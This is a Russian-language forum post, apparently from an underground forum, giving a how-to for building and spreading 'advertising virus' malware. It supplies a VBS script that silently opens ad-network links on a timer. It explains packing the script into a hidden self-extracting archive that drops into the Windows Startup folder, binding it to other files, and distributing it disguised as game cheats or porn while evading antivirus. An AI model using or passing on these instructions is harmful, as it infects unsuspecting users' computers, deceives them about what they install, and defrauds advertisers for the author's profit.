Продолжу, а заодно верну тему в заданное русло.
По поводу рекламы, нашла у себя на HDD какой-то способ.
Вероятно, оставляла себе на заметку, но возможно, руководству пригодится ))
Создаем рекламный вирус и зарабатываем
Плюсы данной схемы:
+вирь не палится антивирусами
+не палится в диспетчере задач
+стабильный заработок
+легко собирается
+можно отслеживать переходы по рекламе
Перейдем к делу.
1. Регистрируемся на сайте с рекламой: adsteroid.pro
2. Переходим во вкладку "источник" и кликаем добавить сайт. Вписываем Название(любое), ссылку на любой сайт и выбираем категорию.
3. Далее во вкладке "источник" кликаем на наш добавленный сайт, кликаем добавить поток. Вписываем юбое название (советую нумеровать чтобы не запутаться), выбираем наш недавно добавленный сайт, код тип - DirectLink, кол-во переходов с одного IP ставим макс. (10)
4. Повторяем пункт 3 примерно 5+раз (смотря промежуток времени через который будет открываться наша реклама)
5. Создаем текстовый документ и вставляем туда этот код:
Код:
Option Explicit
Dim objWshShell
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№1", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№2", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№3", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№4", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№5", 0, False
Set objWshShell = Nothing
WScript.Quit 0
где 300000 - 300 секунд (т.е. 1000 - 1 секунда) Можно воспользоваться этим калькулятором:Калькулятор Секунды в Миллисекунды | Сколько миллисекунд в секундах
"WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№X", 0, False" повторяем это столько сколько у вас ссылок
6. Копируем и всталяем 10 раз в середину это
"WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№1", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№2", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№3", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№4", 0, False
WScript.Sleep (300000)
Set objWshShell = WScript.CreateObject("WScript.Shell")
objWshShell.Run "ваша_ссылка№5", 0, False"
8. Сохраняем это все в формате vbs
9. Далее Кликаем ПКМ по нашему vbs и выбираем "добавить в архив" (нужен архиватор)
10. Ставите галочку "Создать Sfx-архив"
Жмете "Дополнительно--->параметры SFX"
Путь для распаковки %appdata%\Microsoft\Windows\Start Menu\Programs\Startup
галку Абсолютный путь оставляете
Жмете "Установка" и там где "выполнить после распаковки" пишете имя вашего уже готового файла в формате name.vbs (не советую выполнять его после распаковки т.к. палевно. Лучше со следуеще гопуска ПК. Просто не вписываем его туда)
Жмете "Режимы"
Ставите галку "Скрыть все".
Жмем "текст и графика" и добовляем значок SFX из файла
11. Нажимаем ОК и второй раз. Вирь готов! осталось только распространить
склеивать файлы с нашем вирем желательно вначале (просто добавляете в архив не один vbs а еще то с чем хотите склеить). Также можно воспользоваться джойнером который не палится. Размещаем где-нибудь (RGHost) и теги под видом чита и Либо прона совместно с Solid Explorer.
